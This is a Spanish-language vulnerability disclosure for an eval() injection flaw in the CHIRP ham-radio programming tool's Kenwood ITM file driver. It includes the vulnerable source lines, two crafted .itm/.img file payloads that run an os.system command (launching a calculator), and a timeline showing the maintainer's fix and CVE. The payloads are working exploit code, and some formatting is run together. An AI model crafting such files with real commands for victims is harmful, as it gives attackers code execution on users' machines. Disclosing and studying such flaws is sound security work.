
Exploit de prueba de concepto para la ejecución arbitraria de código mediante inyección de eval() en una aplicación de programación de radioaficionados, incluidos payloads maliciosos de archivos .itm/.img y análisis de causa raíz.
eval() en el controlador ITM de KenwoodProducto: CHIRP - Un proyecto de código abierto para programar radios de radioaficionado.
Versiones afectadas:
URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com
Versiones afectadas: <= chirp-next-20260814
CWE: CWE-95 (Inyección de eval)
El controlador del formato de archivo ITM de Kenwood de CHIRP pasa los valores de campo CSV sin procesar de un archivo abierto directamente al eval() integrado de Python sin ninguna validación. Un atacante que entregue un archivo manipulado a un usuario de CHIRP logra la ejecución de código arbitrario como el usuario víctima.
chirp/drivers/kenwood_itm.py, _clean_tmode(), líneas 66–67:
def _clean_tmode(self, headers, line, mem):
rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG")) # SINK
ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG")) # SINK
Los valores TXSIG y RXSIG provienen directamente de una fila CSV del archivo abierto. No se aplica ninguna comprobación de tipo, lista de permitidos ni aislamiento (sandboxing) antes de eval().
A continuación se muestran dos POCs.
.itm malicioso// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0
.img malicioso// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0
chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==
{file_name}.img. Si utiliza la carga útil .itm, cambie el menú desplegable del filtro a "Todos los archivos" (CHIRP no filtra por ITM).{file_name}.itm.2026-8-17 -- Vulnerabilidad descubierta
2026-8-17 -- Correo electrónico al mantenedor
2026-8-17 -- El mantenedor respondió y corrigió el código el mismo día. https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-8-21 -- La versión del instalador 20260821 incluye la corrección.
2026-8-22 -- Se emitió NotCVE-2026-0013.
2026-8-23 -- Se emitió CVE-2026-78136.